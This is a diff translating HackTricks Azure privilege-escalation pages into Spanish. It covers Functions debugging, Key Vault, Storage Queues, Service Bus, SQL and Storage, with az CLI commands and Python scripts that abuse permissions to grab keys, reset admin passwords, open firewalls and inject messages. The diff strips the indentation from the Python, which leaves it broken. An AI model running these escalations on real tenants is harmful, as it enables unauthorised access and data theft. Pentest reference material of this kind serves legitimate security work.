/subscriptions//providers/Microsoft.ManagedIdentity/userAssignedIdentities/ ``` +### Depuración Remota -### Remote Debugging - -It's also possible to connect to debug a running Azure function as [**explained in the docs**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). However, by default Azure will turn this option to off in 2 days in case the developer forgets to avoid leaving vulnerable configurations. - -It's possible to check if a Function has debugging enabled with: +También es posible conectarse para depurar una función de Azure en ejecución como [**se explica en la documentación**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). Sin embargo, por defecto, Azure desactivará esta opción en 2 días en caso de que el desarrollador se olvide para evitar dejar configuraciones vulnerables. +Es posible verificar si una función tiene la depuración habilitada con: ```bash az functionapp show --name --resource-group ``` - -Having the permission `Microsoft.Web/sites/config/write` it's also possible to put a function in debugging mode (the following command also requires the permissions `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/Read` and `Microsoft.Web/sites/Read`). - +Teniendo el permiso `Microsoft.Web/sites/config/write`, también es posible poner una función en modo de depuración (el siguiente comando también requiere los permisos `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/Read` y `Microsoft.Web/sites/Read`). ```bash az functionapp config set --remote-debugging-enabled=True --name --resource-group ``` +### Cambiar el repositorio de Github -### Change Github repo - -I tried changing the Github repo from where the deploying is occurring by executing the following commands but even if it did change, **the new code was not loaded** (probably because it's expecting the Github Action to update the code).\ -Moreover, the **managed identity federated credential wasn't updated** allowing the new repository, so it looks like this isn't very useful. - +Intenté cambiar el repositorio de Github desde donde se está realizando el despliegue ejecutando los siguientes comandos, pero aunque sí cambió, **el nuevo código no se cargó** (probablemente porque está esperando que la acción de Github actualice el código).\ +Además, **la credencial federada de identidad administrada no se actualizó** permitiendo el nuevo repositorio, así que parece que esto no es muy útil. ```bash # Remove current az functionapp deployment source delete \ - --name funcGithub \ - --resource-group Resource_Group_1 +--name funcGithub \ +--resource-group Resource_Group_1 # Load new public repo az functionapp deployment source config \ - --name funcGithub \ - --resource-group Resource_Group_1 \ - --repo-url "https://github.com/orgname/azure_func3" \ - --branch main --github-action true +--name funcGithub \ +--resource-group Resource_Group_1 \ +--repo-url "https://github.com/orgname/azure_func3" \ +--branch main --github-action true ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md index 2db843851..2fa352801 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md @@ -4,7 +4,7 @@ ## Azure Key Vault -For more information about this service check: +Para más información sobre este servicio, consulta: {{#ref}} ../az-services/keyvault.md @@ -12,8 +12,7 @@ For more information about this service check: ### Microsoft.KeyVault/vaults/write -An attacker with this permission will be able to modify the policy of a key vault (the key vault must be using access policies instead of RBAC). - +Un atacante con este permiso podrá modificar la política de un key vault (el key vault debe estar utilizando políticas de acceso en lugar de RBAC). ```bash # If access policies in the output, then you can abuse it az keyvault show --name @@ -23,16 +22,11 @@ az ad signed-in-user show --query id --output tsv # Assign all permissions az keyvault set-policy \ - --name \ - --object-id \ - --key-permissions all \ - --secret-permissions all \ - --certificate-permissions all \ - --storage-permissions all +--name \ +--object-id \ +--key-permissions all \ +--secret-permissions all \ +--certificate-permissions all \ +--storage-permissions all ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-queue-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-queue-privesc.md index db0b051cb..c98ff9e2b 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-queue-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-queue-privesc.md @@ -4,7 +4,7 @@ ## Queue -For more information check: +Para más información, consulta: {{#ref}} ../az-services/az-queue-enum.md @@ -12,50 +12,41 @@ For more information check: ### DataActions: `Microsoft.Storage/storageAccounts/queueServices/queues/messages/read` -An attacker with this permission can peek messages from an Azure Storage Queue. This allows the attacker to view the content of messages without marking them as processed or altering their state. This could lead to unauthorized access to sensitive information, enabling data exfiltration or gathering intelligence for further attacks. - +Un atacante con este permiso puede ver mensajes de una Azure Storage Queue. Esto permite al atacante ver el contenido de los mensajes sin marcarlos como procesados o alterar su estado. Esto podría llevar a un acceso no autorizado a información sensible, permitiendo la exfiltración de datos o la recopilación de inteligencia para futuros ataques. ```bash az storage message peek --queue-name --account-name ``` - -**Potential Impact**: Unauthorized access to the queue, message exposure, or queue manipulation by unauthorized users or services. +**Impacto Potencial**: Acceso no autorizado a la cola, exposición de mensajes o manipulación de la cola por usuarios o servicios no autorizados. ### DataActions: `Microsoft.Storage/storageAccounts/queueServices/queues/messages/process/action` -With this permission, an attacker can retrieve and process messages from an Azure Storage Queue. This means they can read the message content and mark it as processed, effectively hiding it from legitimate systems. This could lead to sensitive data being exposed, disruptions in how messages are handled, or even stopping important workflows by making messages unavailable to their intended users. - +Con este permiso, un atacante puede recuperar y procesar mensajes de una Cola de Almacenamiento de Azure. Esto significa que pueden leer el contenido del mensaje y marcarlo como procesado, ocultándolo efectivamente de los sistemas legítimos. Esto podría llevar a la exposición de datos sensibles, interrupciones en la forma en que se manejan los mensajes, o incluso detener flujos de trabajo importantes al hacer que los mensajes no estén disponibles para sus usuarios previstos. ```bash az storage message get --queue-name --account-name ``` - ### DataActions: `Microsoft.Storage/storageAccounts/queueServices/queues/messages/add/action` -With this permission, an attacker can add new messages to an Azure Storage Queue. This allows them to inject malicious or unauthorized data into the queue, potentially triggering unintended actions or disrupting downstream services that process the messages. - +Con este permiso, un atacante puede agregar nuevos mensajes a una Cola de Almacenamiento de Azure. Esto les permite inyectar datos maliciosos o no autorizados en la cola, lo que podría desencadenar acciones no deseadas o interrumpir servicios posteriores que procesan los mensajes. ```bash az storage message put --queue-name --content "Injected malicious message" --account-name ``` - ### DataActions: `Microsoft.Storage/storageAccounts/queueServices/queues/messages/write` -This permission allows an attacker to add new messages or update existing ones in an Azure Storage Queue. By using this, they could insert harmful content or alter existing messages, potentially misleading applications or causing undesired behaviors in systems that rely on the queue. - +Este permiso permite a un atacante agregar nuevos mensajes o actualizar los existentes en una Azure Storage Queue. Al usar esto, podrían insertar contenido dañino o alterar mensajes existentes, potencialmente engañando a las aplicaciones o causando comportamientos no deseados en los sistemas que dependen de la cola. ```bash az storage message put --queue-name --content "Injected malicious message" --account-name #Update the message az storage message update --queue-name \ - --id \ - --pop-receipt \ - --content "Updated message content" \ - --visibility-timeout \ - --account-name +--id \ +--pop-receipt \ +--content "Updated message content" \ +--visibility-timeout \ +--account-name ``` +### Acción: `Microsoft.Storage/storageAccounts/queueServices/queues/write` -### Action: `Microsoft.Storage/storageAccounts/queueServices/queues/write` - -This permission allows an attacker to create or modify queues and their properties within the storage account. It can be used to create unauthorized queues, modify metadata, or change access control lists (ACLs) to grant or restrict access. This capability could disrupt workflows, inject malicious data, exfiltrate sensitive information, or manipulate queue settings to enable further attacks. - +Este permiso permite a un atacante crear o modificar colas y sus propiedades dentro de la cuenta de almacenamiento. Se puede utilizar para crear colas no autorizadas, modificar metadatos o cambiar listas de control de acceso (ACLs) para otorgar o restringir acceso. Esta capacidad podría interrumpir flujos de trabajo, inyectar datos maliciosos, exfiltrar información sensible o manipular configuraciones de colas para habilitar ataques adicionales. ```bash az storage queue create --name --account-name @@ -63,15 +54,10 @@ az storage queue metadata update --name --metadata key1=value1 key2 az storage queue policy set --name --permissions rwd --expiry 2024-12-31T23:59:59Z --account-name ``` - -## References +## Referencias - https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues - https://learn.microsoft.com/en-us/rest/api/storageservices/queue-service-rest-api - https://learn.microsoft.com/en-us/azure/storage/queues/queues-auth-abac-attributes {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md index bee8aff28..bd85293be 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md @@ -4,16 +4,15 @@ ## Service Bus -For more information check: +Para más información, consulta: {{#ref}} ../az-services/az-servicebus-enum.md {{#endref}} -### Send Messages. Action: `Microsoft.ServiceBus/namespaces/authorizationRules/listkeys/action` OR `Microsoft.ServiceBus/namespaces/authorizationRules/regenerateKeys/action` - -You can retrieve the `PrimaryConnectionString`, which acts as a credential for the Service Bus namespace. With this connection string, you can fully authenticate as the Service Bus namespace, enabling you to send messages to any queue or topic and potentially interact with the system in ways that could disrupt operations, impersonate valid users, or inject malicious data into the messaging workflow. +### Enviar Mensajes. Acción: `Microsoft.ServiceBus/namespaces/authorizationRules/listkeys/action` O `Microsoft.ServiceBus/namespaces/authorizationRules/regenerateKeys/action` +Puedes recuperar el `PrimaryConnectionString`, que actúa como una credencial para el espacio de nombres de Service Bus. Con esta cadena de conexión, puedes autenticarte completamente como el espacio de nombres de Service Bus, lo que te permite enviar mensajes a cualquier cola o tema y potencialmente interactuar con el sistema de maneras que podrían interrumpir las operaciones, suplantar a usuarios válidos o inyectar datos maliciosos en el flujo de trabajo de mensajería. ```python #You need to install the following libraries #pip install azure-servicebus @@ -30,51 +29,51 @@ TOPIC_NAME = "" # Function to send a single message to a Service Bus topic async def send_individual_message(publisher): - # Prepare a single message with updated content - single_message = ServiceBusMessage("Hacktricks-Training: Single Item") - # Send the message to the topic - await publisher.send_messages(single_message) - print("Sent a single message containing 'Hacktricks-Training'") +# Prepare a single message with updated content +single_message = ServiceBusMessage("Hacktricks-Training: Single Item") +# Send the message to the topic +await publisher.send_messages(single_message) +print("Sent a single message containing 'Hacktricks-Training'") # Function to send multiple messages to a Service Bus topic async def send_multiple_messages(publisher): - # Generate a collection of messages with updated content - message_list = [ServiceBusMessage(f"Hacktricks-Training: Item {i+1} in list") for i in range(5)] - # Send the entire collection of messages to the topic - await publisher.send_messages(message_list) - print("Sent a list of 5 messages containing 'Hacktricks-Training'") +# Generate a collection of messages with updated content +message_list = [ServiceBusMessage(f"Hacktricks-Training: Item {i+1} in list") for i in range(5)] +# Send the entire collection of messages to the topic +await publisher.send_messages(message_list) +print("Sent a list of 5 messages containing 'Hacktricks-Training'") # Function to send a grouped batch of messages to a Service Bus topic async def send_grouped_messages(publisher): - # Send a grouped batch of messages with updated content - async with publisher: - grouped_message_batch = await publisher.create_message_batch() - for i in range(10): - try: - # Append a message to the batch with updated content - grouped_message_batch.add_message(ServiceBusMessage(f"Hacktricks-Training: Item {i+1}")) - except ValueError: - # If batch reaches its size limit, handle by creating another batch - break - # Dispatch the batch of messages to the topic - await publisher.send_messages(grouped_message_batch) - print("Sent a batch of 10 messages containing 'Hacktricks-Training'") +# Send a grouped batch of messages with updated content +async with publisher: +grouped_message_batch = await publisher.create_message_batch() +for i in range(10): +try: +# Append a message to the batch with updated content +grouped_message_batch.add_message(ServiceBusMessage(f"Hacktricks-Training: Item {i+1}")) +except ValueError: +# If batch reaches its size limit, handle by creating another batch +break +# Dispatch the batch of messages to the topic +await publisher.send_messages(grouped_message_batch) +print("Sent a batch of 10 messages containing 'Hacktricks-Training'") # Main function to execute all tasks async def execute(): - # Instantiate the Service Bus client with the connection string - async with ServiceBusClient.from_connection_string( - conn_str=NAMESPACE_CONNECTION_STR, - logging_enable=True) as sb_client: - # Create a topic sender for dispatching messages to the topic - publisher = sb_client.get_topic_sender(topic_name=TOPIC_NAME) - async with publisher: - # Send a single message - await send_individual_message(publisher) - # Send multiple messages - await send_multiple_messages(publisher) - # Send a batch of messages - await send_grouped_messages(publisher) +# Instantiate the Service Bus client with the connection string +async with ServiceBusClient.from_connection_string( +conn_str=NAMESPACE_CONNECTION_STR, +logging_enable=True) as sb_client: +# Create a topic sender for dispatching messages to the topic +publisher = sb_client.get_topic_sender(topic_name=TOPIC_NAME) +async with publisher: +# Send a single message +await send_individual_message(publisher) +# Send multiple messages +await send_multiple_messages(publisher) +# Send a batch of messages +await send_grouped_messages(publisher) # Run the asynchronous execution asyncio.run(execute()) @@ -82,11 +81,9 @@ print("Messages Sent") print("----------------------------") ``` +### Recibir Mensajes. Acción: `Microsoft.ServiceBus/namespaces/authorizationRules/listkeys/action` O `Microsoft.ServiceBus/namespaces/authorizationRules/regenerateKeys/action` -### Recieve Messages. Action: `Microsoft.ServiceBus/namespaces/authorizationRules/listkeys/action` OR `Microsoft.ServiceBus/namespaces/authorizationRules/regenerateKeys/action` - -You can retrieve the PrimaryConnectionString, which serves as a credential for the Service Bus namespace. Using this connection string, you can receive messages from any queue or subscription within the namespace, allowing access to potentially sensitive or critical data, enabling data exfiltration, or interfering with message processing and application workflows. - +Puedes recuperar el PrimaryConnectionString, que sirve como una credencial para el espacio de nombres de Service Bus. Usando esta cadena de conexión, puedes recibir mensajes de cualquier cola o suscripción dentro del espacio de nombres, lo que permite el acceso a datos potencialmente sensibles o críticos, habilitando la exfiltración de datos o interfiriendo con el procesamiento de mensajes y los flujos de trabajo de la aplicación. ```python #You need to install the following libraries #pip install azure-servicebus @@ -102,48 +99,45 @@ SUBSCRIPTION_NAME = "" #Topic Subscription # Function to receive and process messages from a Service Bus subscription async def receive_and_process_messages(): - # Create a Service Bus client using the connection string - async with ServiceBusClient.from_connection_string( - conn_str=NAMESPACE_CONNECTION_STR, - logging_enable=True) as servicebus_client: +# Create a Service Bus client using the connection string +async with ServiceBusClient.from_connection_string( +conn_str=NAMESPACE_CONNECTION_STR, +logging_enable=True) as servicebus_client: - # Get the Subscription Receiver object for the specified topic and subscription - receiver = servicebus_client.get_subscription_receiver( - topic_name=TOPIC_NAME, - subscription_name=SUBSCRIPTION_NAME, - max_wait_time=5 - ) +# Get the Subscription Receiver object for the specified topic and subscription +receiver = servicebus_client.get_subscription_receiver( +topic_name=TOPIC_NAME, +subscription_name=SUBSCRIPTION_NAME, +max_wait_time=5 +) - async with receiver: - # Receive messages with a defined maximum wait time and count - received_msgs = await receiver.receive_messages( - max_wait_time=5, - max_message_count=20 - ) - for msg in received_msgs: - print("Received: " + str(msg)) - # Complete the message to remove it from the subscription - await receiver.complete_message(msg) +async with receiver: +# Receive messages with a defined maximum wait time and count +received_msgs = await receiver.receive_messages( +max_wait_time=5, +max_message_count=20 +) +for msg in received_msgs: +print("Received: " + str(msg)) +# Complete the message to remove it from the subscription +await receiver.complete_message(msg) # Run the asynchronous message processing function asyncio.run(receive_and_process_messages()) print("Message Receiving Completed") print("----------------------------") ``` - ### `Microsoft.ServiceBus/namespaces/authorizationRules/write` & `Microsoft.ServiceBus/namespaces/authorizationRules/write` -If you have these permissions, you can escalate privileges by reading or creating shared access keys. These keys allow full control over the Service Bus namespace, including managing queues, topics, and sending/receiving messages, potentially bypassing role-based access controls (RBAC). - +Si tienes estos permisos, puedes escalar privilegios leyendo o creando claves de acceso compartido. Estas claves permiten el control total sobre el espacio de nombres de Service Bus, incluyendo la gestión de colas, temas y el envío/recepción de mensajes, lo que puede eludir los controles de acceso basados en roles (RBAC). ```bash az servicebus namespace authorization-rule update \ - --resource-group \ - --namespace-name \ - --name RootManageSharedAccessKey \ - --rights Manage Listen Send +--resource-group \ +--namespace-name \ +--name RootManageSharedAccessKey \ +--rights Manage Listen Send ``` - -## References +## Referencias - https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues - https://learn.microsoft.com/en-us/rest/api/storageservices/queue-service-rest-api @@ -152,7 +146,3 @@ az servicebus namespace authorization-rule update \ - https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/integration#microsoftservicebus {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md index 76dbfdcfd..a3c1bb6fe 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md @@ -4,7 +4,7 @@ ## SQL Database Privesc -For more information about SQL Database check: +Para más información sobre SQL Database, consulta: {{#ref}} ../az-services/az-sql.md @@ -12,104 +12,88 @@ For more information about SQL Database check: ### "Microsoft.Sql/servers/read" && "Microsoft.Sql/servers/write" -With these permissions, a user can perform privilege escalation by updating or creating Azure SQL servers and modifying critical configurations, including administrative credentials. This permission allows the user to update server properties, including the SQL server admin password, enabling unauthorized access or control over the server. They can also create new servers, potentially introducing shadow infrastructure for malicious purposes. This becomes particularly critical in environments where "Microsoft Entra Authentication Only" is disabled, as they can exploit SQL-based authentication to gain unrestricted access. - +Con estos permisos, un usuario puede realizar escalación de privilegios al actualizar o crear servidores SQL de Azure y modificar configuraciones críticas, incluyendo credenciales administrativas. Este permiso permite al usuario actualizar propiedades del servidor, incluyendo la contraseña del administrador del servidor SQL, lo que habilita el acceso no autorizado o control sobre el servidor. También pueden crear nuevos servidores, potencialmente introduciendo infraestructura oculta con fines maliciosos. Esto se vuelve particularmente crítico en entornos donde "Microsoft Entra Authentication Only" está deshabilitado, ya que pueden explotar la autenticación basada en SQL para obtener acceso sin restricciones. ```bash # Change the server password az sql server update \ - --name \ - --resource-group \ - --admin-password +--name \ +--resource-group \ +--admin-password # Create a new server az sql server create \ - --name \ - --resource-group \ - --location \ - --admin-user \ - --admin-password +--name \ +--resource-group \ +--location \ +--admin-user \ +--admin-password ``` - -Additionally it is necesary to have the public access enabled if you want to access from a non private endpoint, to enable it: - +Además, es necesario tener el acceso público habilitado si deseas acceder desde un punto final no privado, para habilitarlo: ```bash az sql server update \ - --name \ - --resource-group \ - --enable-public-network true +--name \ +--resource-group \ +--enable-public-network true ``` - ### "Microsoft.Sql/servers/firewallRules/write" -An attacker can manipulate firewall rules on Azure SQL servers to allow unauthorized access. This can be exploited to open up the server to specific IP addresses or entire IP ranges, including public IPs, enabling access for malicious actors. This post-exploitation activity can be used to bypass existing network security controls, establish persistence, or facilitate lateral movement within the environment by exposing sensitive resources. - +Un atacante puede manipular las reglas del firewall en los servidores de Azure SQL para permitir el acceso no autorizado. Esto puede ser explotado para abrir el servidor a direcciones IP específicas o rangos completos de IP, incluidas IPs públicas, lo que permite el acceso a actores maliciosos. Esta actividad de post-explotación puede ser utilizada para eludir los controles de seguridad de red existentes, establecer persistencia o facilitar el movimiento lateral dentro del entorno al exponer recursos sensibles. ```bash # Create Firewall Rule az sql server firewall-rule create \ - --name \ - --server \ - --resource-group \ - --start-ip-address \ - --end-ip-address +--name \ +--server \ +--resource-group \ +--start-ip-address \ +--end-ip-address # Update Firewall Rule az sql server firewall-rule update \ - --name \ - --server \ - --resource-group \ - --start-ip-address \ - --end-ip-address +--name \ +--server \ +--resource-group \ +--start-ip-address \ +--end-ip-address ``` - -Additionally, `Microsoft.Sql/servers/outboundFirewallRules/delete` permission lets you delete a Firewall Rule. -NOTE: It is necesary to have the public access enabled +Además, el permiso `Microsoft.Sql/servers/outboundFirewallRules/delete` te permite eliminar una regla de firewall. +NOTA: Es necesario tener habilitado el acceso público. ### ""Microsoft.Sql/servers/ipv6FirewallRules/write" -With this permission, you can create, modify, or delete IPv6 firewall rules on an Azure SQL Server. This could enable an attacker or authorized user to bypass existing network security configurations and gain unauthorized access to the server. By adding a rule that allows traffic from any IPv6 address, the attacker could open the server to external access." - +Con este permiso, puedes crear, modificar o eliminar reglas de firewall IPv6 en un Azure SQL Server. Esto podría permitir a un atacante o usuario autorizado eludir las configuraciones de seguridad de red existentes y obtener acceso no autorizado al servidor. Al agregar una regla que permite el tráfico desde cualquier dirección IPv6, el atacante podría abrir el servidor al acceso externo. ```bash az sql server firewall-rule create \ - --server \ - --resource-group \ - --name \ - --start-ip-address \ - --end-ip-address +--server \ +--resource-group \ +--name \ +--start-ip-address \ +--end-ip-address ``` - -Additionally, `Microsoft.Sql/servers/ipv6FirewallRules/delete` permission lets you delete a Firewall Rule. -NOTE: It is necesary to have the public access enabled +Además, el permiso `Microsoft.Sql/servers/ipv6FirewallRules/delete` te permite eliminar una regla de firewall. +NOTA: Es necesario tener habilitado el acceso público. ### "Microsoft.Sql/servers/administrators/write" && "Microsoft.Sql/servers/administrators/read" -With this permissions you can privesc in an Azure SQL Server environment accessing to SQL databases and retrieven critical information. Using the the command below, an attacker or authorized user can set themselves or another account as the Azure AD administrator. If "Microsoft Entra Authentication Only" is enabled you are albe to access the server and its instances. Here's the command to set the Azure AD administrator for an SQL server: - +Con estos permisos puedes hacer privesc en un entorno de Azure SQL Server accediendo a bases de datos SQL y recuperando información crítica. Usando el comando a continuación, un atacante o usuario autorizado puede establecerse a sí mismo o a otra cuenta como el administrador de Azure AD. Si "Microsoft Entra Authentication Only" está habilitado, puedes acceder al servidor y sus instancias. Aquí está el comando para establecer el administrador de Azure AD para un servidor SQL: ```bash az sql server ad-admin create \ - --server \ - --resource-group \ - --display-name \ - --object-id +--server \ +--resource-group \ +--display-name \ +--object-id ``` - ### "Microsoft.Sql/servers/azureADOnlyAuthentications/write" && "Microsoft.Sql/servers/azureADOnlyAuthentications/read" -With these permissions, you can configure and enforce "Microsoft Entra Authentication Only" on an Azure SQL Server, which could facilitate privilege escalation in certain scenarios. An attacker or an authorized user with these permissions can enable or disable Azure AD-only authentication. - +Con estos permisos, puedes configurar y hacer cumplir "Microsoft Entra Authentication Only" en un servidor SQL de Azure, lo que podría facilitar la escalada de privilegios en ciertos escenarios. Un atacante o un usuario autorizado con estos permisos puede habilitar o deshabilitar la autenticación solo de Azure AD. ```bash #Enable az sql server azure-ad-only-auth enable \ - --server \ - --resource-group +--server \ +--resource-group #Disable az sql server azure-ad-only-auth disable \ - --server \ - --resource-group +--server \ +--resource-group ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md index c2545f9e2..3ce81dfc7 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md @@ -4,7 +4,7 @@ ## Storage Privesc -For more information about storage check: +Para más información sobre almacenamiento, consulta: {{#ref}} ../az-services/az-storage.md @@ -12,26 +12,21 @@ For more information about storage check: ### Microsoft.Storage/storageAccounts/listkeys/action -A principal with this permission will be able to list (and the secret values) of the **access keys** of the storage accounts. Allowing the principal to escalate its privileges over the storage accounts. - +Un principal con este permiso podrá listar (y los valores secretos) de las **claves de acceso** de las cuentas de almacenamiento. Permitiendo al principal escalar sus privilegios sobre las cuentas de almacenamiento. ```bash az storage account keys list --account-name ``` - ### Microsoft.Storage/storageAccounts/regenerateKey/action -A principal with this permission will be able to renew and get the new secret value of the **access keys** of the storage accounts. Allowing the principal to escalate its privileges over the storage accounts. - -Moreover, in the response, the user will get the value of the renewed key and also of the not renewed one: +Un principal con este permiso podrá renovar y obtener el nuevo valor secreto de las **claves de acceso** de las cuentas de almacenamiento. Permitiendo al principal escalar sus privilegios sobre las cuentas de almacenamiento. +Además, en la respuesta, el usuario obtendrá el valor de la clave renovada y también de la no renovada: ```bash az storage account keys renew --account-name --key key2 ``` - ### Microsoft.Storage/storageAccounts/write -A principal with this permission will be able to create or update an existing storage account updating any setting like network rules or policies. - +Un principal con este permiso podrá crear o actualizar una cuenta de almacenamiento existente, actualizando cualquier configuración como reglas de red o políticas. ```bash # e.g. set default action to allow so network restrictions are avoided az storage account update --name --default-action Allow @@ -39,118 +34,101 @@ az storage account update --name --default-action Allow # e.g. allow an IP address az storage account update --name --add networkRuleSet.ipRules value= ``` - ## Blobs Specific privesc ### Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies/write | Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies/delete -The first permission allows to **modify immutability policies** in containers and the second to delete them. +El primer permiso permite **modificar políticas de inmutabilidad** en contenedores y el segundo eliminarlas. > [!NOTE] -> Note that if an immutability policy is in lock state, you cannot do neither of both - +> Tenga en cuenta que si una política de inmutabilidad está en estado de bloqueo, no puede hacer ninguna de las dos. ```bash az storage container immutability-policy delete \ - --account-name \ - --container-name \ - --resource-group +--account-name \ +--container-name \ +--resource-group az storage container immutability-policy update \ - --account-name \ - --container-name \ - --resource-group \ - --period +--account-name \ +--container-name \ +--resource-group \ +--period ``` - ## File shares specific privesc ### Microsoft.Storage/storageAccounts/fileServices/takeOwnership/action -This should allow a user having this permission to be able to take the ownership of files inside the shared filesystem. +Esto debería permitir a un usuario que tenga este permiso tomar la propiedad de archivos dentro del sistema de archivos compartido. ### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/modifypermissions/action -This should allow a user having this permission to be able to modify the permissions files inside the shared filesystem. +Esto debería permitir a un usuario que tenga este permiso modificar los permisos de los archivos dentro del sistema de archivos compartido. ### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/actassuperuser/action -This should allow a user having this permission to be able to perform actions inside a file system as a superuser. +Esto debería permitir a un usuario que tenga este permiso realizar acciones dentro de un sistema de archivos como superusuario. ### Microsoft.Storage/storageAccounts/localusers/write (Microsoft.Storage/storageAccounts/localusers/read) -With this permission, an attacker can create and update (if has `Microsoft.Storage/storageAccounts/localusers/read` permission) a new local user for an Azure Storage account (configured with hierarchical namespace), including specifying the user’s permissions and home directory. This permission is significant because it allows the attacker to grant themselves to a storage account with specific permissions such as read (r), write (w), delete (d), and list (l) and more. Additionaly the authentication methods that this uses can be Azure-generated passwords and SSH key pairs. There is no check if a user already exists, so you can overwrite other users that are already there. The attacker could escalate their privileges and gain SSH access to the storage account, potentially exposing or compromising sensitive data. - +Con este permiso, un atacante puede crear y actualizar (si tiene el permiso `Microsoft.Storage/storageAccounts/localusers/read`) un nuevo usuario local para una cuenta de Azure Storage (configurada con un espacio de nombres jerárquico), incluyendo la especificación de los permisos y el directorio de inicio del usuario. Este permiso es significativo porque permite al atacante otorgarse a sí mismo acceso a una cuenta de almacenamiento con permisos específicos como lectura (r), escritura (w), eliminación (d) y listado (l) y más. Adicionalmente, los métodos de autenticación que utiliza pueden ser contraseñas generadas por Azure y pares de claves SSH. No hay verificación de si un usuario ya existe, por lo que puedes sobrescribir a otros usuarios que ya están allí. El atacante podría escalar sus privilegios y obtener acceso SSH a la cuenta de almacenamiento, exponiendo o comprometiendo potencialmente datos sensibles. ```bash az storage account local-user create \ - --account-name \ - --resource-group \ - --name \ - --permission-scope permissions=rwdl service=blob resource-name= \ - --home-directory \ - --has-ssh-key false/true # Depends on the auth method to use +--account-name \ +--resource-group \ +--name \ +--permission-scope permissions=rwdl service=blob resource-name= \ +--home-directory \ +--has-ssh-key false/true # Depends on the auth method to use ``` - ### Microsoft.Storage/storageAccounts/localusers/regeneratePassword/action -With this permission, an attacker can regenerate the password for a local user in an Azure Storage account. This grants the attacker the ability to obtain new authentication credentials (such as an SSH or SFTP password) for the user. By leveraging these credentials, the attacker could gain unauthorized access to the storage account, perform file transfers, or manipulate data within the storage containers. This could result in data leakage, corruption, or malicious modification of the storage account content. - +Con este permiso, un atacante puede regenerar la contraseña de un usuario local en una cuenta de Azure Storage. Esto otorga al atacante la capacidad de obtener nuevas credenciales de autenticación (como una contraseña SSH o SFTP) para el usuario. Al aprovechar estas credenciales, el atacante podría obtener acceso no autorizado a la cuenta de almacenamiento, realizar transferencias de archivos o manipular datos dentro de los contenedores de almacenamiento. Esto podría resultar en una filtración de datos, corrupción o modificación maliciosa del contenido de la cuenta de almacenamiento. ```bash az storage account local-user regenerate-password \ - --account-name \ - --resource-group \ - --name +--account-name \ +--resource-group \ +--name ``` - -To access Azure Blob Storage via SFTP using a local user via SFTP you can (you can also use ssh key to connect): - +Para acceder a Azure Blob Storage a través de SFTP utilizando un usuario local a través de SFTP, puedes (también puedes usar una clave ssh para conectarte): ```bash sftp @.blob.core.windows.net #regenerated-password ``` - ### Microsoft.Storage/storageAccounts/restoreBlobRanges/action, Microsoft.Storage/storageAccounts/blobServices/containers/read, Microsoft.Storage/storageAccounts/read && Microsoft.Storage/storageAccounts/listKeys/action -With this permissions an attacker can restore a deleted container by specifying its deleted version ID or undelete specific blobs within a container, if they were previously soft-deleted. This privilege escalation could allow an attacker to recover sensitive data that was meant to be permanently deleted, potentially leading to unauthorized access. - +Con estos permisos, un atacante puede restaurar un contenedor eliminado especificando su ID de versión eliminada o deseleccionar blobs específicos dentro de un contenedor, si fueron eliminados suavemente anteriormente. Esta escalada de privilegios podría permitir a un atacante recuperar datos sensibles que debían ser eliminados permanentemente, lo que podría llevar a un acceso no autorizado. ```bash #Restore the soft deleted container az storage container restore \ - --account-name \ - --name \ - --deleted-version +--account-name \ +--name \ +--deleted-version #Restore the soft deleted blob az storage blob undelete \ - --account-name \ - --container-name \ - --name "fileName.txt" +--account-name \ +--container-name \ +--name "fileName.txt" ``` - ### Microsoft.Storage/storageAccounts/fileServices/shares/restore/action && Microsoft.Storage/storageAccounts/read -With these permissions, an attacker can restore a deleted Azure file share by specifying its deleted version ID. This privilege escalation could allow an attacker to recover sensitive data that was meant to be permanently deleted, potentially leading to unauthorized access. - +Con estos permisos, un atacante puede restaurar un recurso compartido de archivos de Azure eliminado especificando su ID de versión eliminada. Esta escalada de privilegios podría permitir a un atacante recuperar datos sensibles que se suponía debían ser eliminados permanentemente, lo que podría llevar a un acceso no autorizado. ```bash az storage share-rm restore \ - --storage-account \ - --name \ - --deleted-version +--storage-account \ +--name \ +--deleted-version ``` +## Otros permisos que parecen interesantes (TODO) -## 